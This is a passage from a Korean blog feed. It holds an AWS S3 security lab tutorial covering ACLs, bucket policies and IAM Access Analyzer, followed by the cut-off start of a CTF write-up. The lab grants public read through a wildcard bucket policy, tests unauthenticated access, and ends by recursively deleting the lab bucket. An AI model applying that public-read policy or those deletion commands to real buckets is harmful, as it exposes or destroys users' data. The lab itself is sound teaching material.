&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;892&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2D8DZ/btssGgBAQeQ/90MDEzjWOA1RUriGAea3FK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2D8DZ/btssGgBAQeQ/90MDEzjWOA1RUriGAea3FK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2D8DZ/btssGgBAQeQ/90MDEzjWOA1RUriGAea3FK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2D8DZ%2FbtssGgBAQeQ%2F90MDEzjWOA1RUriGAea3FK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;892&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. AWS S3의 보안 정책 알아보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS S3에는 크게 4가지의 보안 정책을 적용할 수 있습니다. 이번 장에서는 이에 대해 살펴봅니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;667&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXYJYC/btssHByu5Ee/Qh0TpefTj1Bjq4Ehv72ttk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXYJYC/btssHByu5Ee/Qh0TpefTj1Bjq4Ehv72ttk/img.png&quot; data-alt=&quot;AWS S3에 적용할 수 있는 보안 정책의 4 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXYJYC/btssHByu5Ee/Qh0TpefTj1Bjq4Ehv72ttk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXYJYC%2FbtssHByu5Ee%2FQh0TpefTj1Bjq4Ehv72ttk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;667&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;667&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AWS S3에 적용할 수 있는 보안 정책의 4 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 객체/버킷 ACL (Access Control List)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 가장 먼저 객체 ACL입니다. 객체 ACL의 사용은 AWS 측에서도 공식적으로 비권장하고 있는데, 그 이유는 객체별로 ACL을 관리할 경우 제대로 관리가 이루어지지 않는 케이스가 매우 많기 때문으로, 반드시 각 객체에 대한 접근 권한을 개별적으로 제어해야만 하는 경우가 아니라면 버킷 정책을 통해 다른 사용자의 접근 권한을 관리하도록 오브젝트를 공유하도록 권장하고 있습니다. 객체 ACL의 설정 변경은 'S3 &amp;gt; 버킷 &amp;gt; [버킷 명] &amp;gt; 권한 (탭) &amp;gt; 객체 소유권 (블록) &amp;gt; 편집' 을 통해 접근 가능합니다. S3 버킷을 처음 생성하고 나면 기본적으로 퍼블릭 접근 권한이 모두 차단되어 생성됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1031&quot; data-origin-height=&quot;741&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baqdun/btssMFAnW9B/qy6KU44hPu1C2Kv2tjJSDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baqdun/btssMFAnW9B/qy6KU44hPu1C2Kv2tjJSDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baqdun/btssMFAnW9B/qy6KU44hPu1C2Kv2tjJSDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbaqdun%2FbtssMFAnW9B%2Fqy6KU44hPu1C2Kv2tjJSDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;529&quot; data-origin-width=&quot;1031&quot; data-origin-height=&quot;741&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ACL을 활성화하면, 아래와 같이 ACL 권한을 편집할 수 있는 화면에 접근할 수 있게 된다. 퍼블릭 액세스에서 객체를 확인할 수 있도록 설정을 변경해보자.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;789&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpNrHo/btssLIxmW0e/00qUp98EtnoEmijOMKiix1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpNrHo/btssLIxmW0e/00qUp98EtnoEmijOMKiix1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpNrHo/btssLIxmW0e/00qUp98EtnoEmijOMKiix1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpNrHo%2FbtssLIxmW0e%2F00qUp98EtnoEmijOMKiix1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;429&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;789&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기까지 잘 따라왔다면 콘솔에 아래의 명령어를 입력해서 퍼블릭 액세스 권한에서 파일 목록일 잘 읽어올 수 있는지 확인해볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1693469772008&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 탐색 실행
aws s3 ls s3://ahss-$NICKNAME --human-readable --no-sign-request

# Memo1.txt 파일을 복사
aws s3 cp s3://ahss-$NICKNAME/memo1.txt . --no-sign-request&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; --no-sign-request 옵션을 주었기 때문에 버킷 소유자 권한 없이 접근을 시도하고 있는데, 우리는 방금 퍼블릭 액세스에서도 파일을 나열할 수 있는 권한을 부여했기 때문에 ls 명령어를 사용할 수 있지만, 파일을 복사하려고 시도하는 경우 파일에 대한 읽기 권한은 부여받지 않았기 때문에 permission denied (Forbidden) 라고 표출되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TXgKN/btssIqX1WFB/w67CK25fvKiSRh7ylaCjt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TXgKN/btssIqX1WFB/w67CK25fvKiSRh7ylaCjt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TXgKN/btssIqX1WFB/w67CK25fvKiSRh7ylaCjt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTXgKN%2FbtssIqX1WFB%2Fw67CK25fvKiSRh7ylaCjt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;877&quot; height=&quot;224&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 버킷 정책&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 다음으로는 버킷 정책에 대해서 살펴봅니다. 버킷 정책에서는 작업의 종류, 요청자, 접근하는 항목의 옵션 등 다양한 조건을 지정하여 객체/버킷에 대한 중앙 집중식 접근 제어 방식을 제공합니다. 클라우드플레어 DNS를 사용하고 계신 분들이라면 아래의 이미지처럼 Cloudflare Dashboard에서 Page Rules라는 기능을 통해 특정 URL로 접근시에 어떠한 보안정책을 적용할 것인지 개별적으로 설정할 수 있는 기능을 제공하고 있는 것을 알고 계실겁니다. AWS S3의 버킷 정책에서도 이와 유사하게 사전에 정의된 다양한 조건문을 걸어 특정 조건을 만족할 경우에만 객체/버킷에 접근할 수 있도록 설정할 수 있다고 생각하시면 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BY263/btssMDigyNL/ROECBMWJW0RXey71nog4rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BY263/btssMDigyNL/ROECBMWJW0RXey71nog4rk/img.png&quot; data-alt=&quot;Cloudflare DNS에서 제공하는 Page Rules 기능&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BY263/btssMDigyNL/ROECBMWJW0RXey71nog4rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBY263%2FbtssMDigyNL%2FROECBMWJW0RXey71nog4rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1039&quot; height=&quot;804&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Cloudflare DNS에서 제공하는 Page Rules 기능&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버킷 정책에서 적용되는 사항은 아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 버킷 정책에 적용되는 기본 설정은 모든 하위 오브젝트에도 동일하게 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. ACL에서는 단일 객체에 대해서만 정책을 적용할 수 있지만, 버킷 정책에서는 버킷 전체에 대해 정책을 적용하거나, 특정 오브젝트와 그 하위 오브젝트에 대해 재귀적으로 정책을 적용할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 실제로 적용해봅시다. 여기에서는 아래의 JSON 형식의 예제 코드를 복사하여 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( [[NICKNAME]] 자리에는 실제 인스턴스의 도메인을 적어주세요.)&lt;/p&gt;
&lt;pre id=&quot;code_1693470068430&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Sid&quot;: &quot;PublicReadGetObject&quot;,
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Principal&quot;: &quot;*&quot;,
            &quot;Action&quot;: &quot;s3:GetObject&quot;,
            &quot;Resource&quot;: &quot;arn:aws:s3:::ahss-[[NICKNAME]]/*&quot;
        }
    ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 버킷 정책을 적용했다면, 이번에도 클라우드 쉘을 통해 정상적으로 적용되었는지 확인해봅시다. 아래의 명령어를 입력하면 현재 적용되어있는 버킷 정책을 콘솔에 출력하도록 만들 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693470292223&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws s3api get-bucket-policy --bucket [[Name of Bucket]] | jq -r .Policy | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vs3B8/btssB153Fd8/F0KfijezJmikNxSXVL3L41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vs3B8/btssB153Fd8/F0KfijezJmikNxSXVL3L41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vs3B8/btssB153Fd8/F0KfijezJmikNxSXVL3L41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvs3B8%2FbtssB153Fd8%2FF0KfijezJmikNxSXVL3L41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;888&quot; height=&quot;346&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 해당 버킷 정책을 통해 퍼블릭 액세스 권한으로도 특정 오브젝트에 접근하여 GET 요청을 보낼 수 있도록 허용하였으므로, 역시 직접 테스트해보도록 합시다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ls1Rc/btssBlDJglE/okkDz5yoOfw7ZuaZY1qav1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ls1Rc/btssBlDJglE/okkDz5yoOfw7ZuaZY1qav1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ls1Rc/btssBlDJglE/okkDz5yoOfw7ZuaZY1qav1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fls1Rc%2FbtssBlDJglE%2FokkDz5yoOfw7ZuaZY1qav1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;258&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 퍼블릭 액세스의 경우에도 정상적으로 파일을 다운로드하는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. IAM (Identity and Access Management) 정책&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 마지막으로 IAM 정책에 대해 다뤄봅니다. IAM 정책을 S3 버킷에도 동일하게 적용할 수 있는데, 여기에서는 실습용으로 firstanalyzer라는 이름의 &lt;a href=&quot;https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;액세스 분석기&lt;/a&gt;를 만들어 사용하도록 하겠습니다. 액세스 분석기는 AWS의 리소에 대해 꼭 필요한 최소한의 권한만 부여할 수 있도록 도와주는 역할을 수행합니다. 액세스 분석기에 대한 자세한 문서는 &lt;a href=&quot;https://aws.amazon.com/ko/iam/features/analyze-access/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceeKhv/btssHDJXnfJ/KKsXWVwO5MQdtBmynqCf5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceeKhv/btssHDJXnfJ/KKsXWVwO5MQdtBmynqCf5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceeKhv/btssHDJXnfJ/KKsXWVwO5MQdtBmynqCf5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceeKhv%2FbtssHDJXnfJ%2FKKsXWVwO5MQdtBmynqCf5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1069&quot; height=&quot;420&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 액세스 분석기는 웹 콘솔을 통해서도 생성하고 관리할 수 있지만, 여기에서는 클라우드 쉘을 통한 CLI 환경에서 액세스 분석기를 생성해보겠습니다. 아래와 같이 명령어를 입력하면 액세스 분석기를 생성할 수 있습니다. 이 작업을 수행하기 전에는 클라우드 쉘의 리전과 동일한 위치에 분석기가 생성되므로, 명령어를 입력하기 이전에 본인이 액세스 분석기를 생성하고자 하는 리전으로 이동한 다음에 작업을 수행해주세요.&lt;/p&gt;
&lt;pre id=&quot;code_1693471200504&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 액세스 분석기 생성
# 자격증명 필요
#aws accessanalyzer create-analyzer --analyzer-name firstanalyzer --type ACCOUNT --output text --query arn
ANA_ARN=$(aws accessanalyzer create-analyzer --analyzer-name firstanalyzer --type ACCOUNT --output text --query arn)
echo $ANA_ARN
==
arn:aws:access-analyzer:ap-northeast-2:276281595736:analyzer/firstanalyzer
==&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3JfsJ/btssN0YnMvZ/IVmcpkxYI9zXkhwk47YpH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3JfsJ/btssN0YnMvZ/IVmcpkxYI9zXkhwk47YpH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3JfsJ/btssN0YnMvZ/IVmcpkxYI9zXkhwk47YpH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3JfsJ%2FbtssN0YnMvZ%2FIVmcpkxYI9zXkhwk47YpH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1310&quot; height=&quot;203&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS AMI Access Analyzer에서는 자동 스캐닝을 제공합니다. 다음 명령어를 통해 스캔을 수행하고 그 결과를 콘솔에 출력할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693471322582&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# S3 버킷 스캔 수행
# 기본적으로 자동으로 스캔 합니다.
aws accessanalyzer start-resource-scan --analyzer-arn $ANA_ARN --resource-arn arn:aws:s3:::ahss-$NICKNAME

# S3 버킷 스캔 결과 확인
aws accessanalyzer get-analyzed-resource --analyzer-arn $ANA_ARN --resource-arn arn:aws:s3:::ahss-$NICKNAME | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMLyZz/btssMCwVHuV/gFdI3pozHf9jeGJE72ip30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMLyZz/btssMCwVHuV/gFdI3pozHf9jeGJE72ip30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMLyZz/btssMCwVHuV/gFdI3pozHf9jeGJE72ip30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMLyZz%2FbtssMCwVHuV%2FgFdI3pozHf9jeGJE72ip30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1266&quot; height=&quot;336&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 저는 이전에 수행한 실습 이후 각각의 정책을 모두 비활성화하거나 제거한 상태이기에 저렇게 표시되는 것이며, 이전에 진행한 실습 사항을 그대로 유지하신 분들은 각자 현재 본인의 버킷에 적용된 정책이 반영되어 표시됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 만약에 퍼블릭 액세스가 가능하도록 설정되어 있는 상황에서 다음 명령어를 입력하면 어떻게 되는지 확인해봅시다.&lt;/p&gt;
&lt;pre id=&quot;code_1693471595149&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws s3api put-public-access-block --bucket ahss-$NICKNAME --public-access-block-configuration \
&quot;BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1341&quot; data-origin-height=&quot;726&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FO4n2/btssNlBG8S8/iKRCvTfVVayJKgKIv1nZm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FO4n2/btssNlBG8S8/iKRCvTfVVayJKgKIv1nZm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FO4n2/btssNlBG8S8/iKRCvTfVVayJKgKIv1nZm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFO4n2%2FbtssNlBG8S8%2FiKRCvTfVVayJKgKIv1nZm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1341&quot; height=&quot;726&quot; data-origin-width=&quot;1341&quot; data-origin-height=&quot;726&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 위의 캡처 이미지에서 확인할 수 있는 것처럼 퍼블릭 액세스가 가능하도록 권한 설정이 되어 있는 상태에서 퍼블릭 액세스를 막는 'public-access-block' 명령을 수행한 결과 이와 관련된 모든 정책이 수정된 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 실습에 사용한 인스턴스 제거하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 이제 모든 실습이 끝났습니다. 다음 명령어를 입력하여 지금까지 실습에 사용한 모든 인스턴스를 종료해주시고 웹 콘솔을 통해 다시 한 번 확인하시기 바랍니다. 여기까지 따라오시느라 고생하셨습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693471751858&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 액세스 분석기 제거
aws accessanalyzer delete-analyzer  --analyzer-name firstanalyzer

# 버킷에 객체 모두 삭제
aws s3 rm s3://ahss-$NICKNAME --recursive
# 실습에 사용한 S3 버킷 삭제
aws s3 rb s3://ahss-$NICKNAME
# 확인
aws s3 ls&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Studies/AWS - AHSS (AWS 보안)</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/58</guid>
      <comments>https://reteu.tistory.com/58#entry58comment</comments>
      <pubDate>Wed, 30 Aug 2023 11:08:20 +0900</pubDate>
    </item>
    <item>
      <title>[BoB CTF] rev) 01_TEAtime</title>
      <link>https://reteu.tistory.com/57</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 대회에서 유일한 C++ 코드이다. 개인적으로 C++을 정말 좋아하지만, 바이너리를 디컴파일해서 나오는 모습은 정말 징그럽더라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
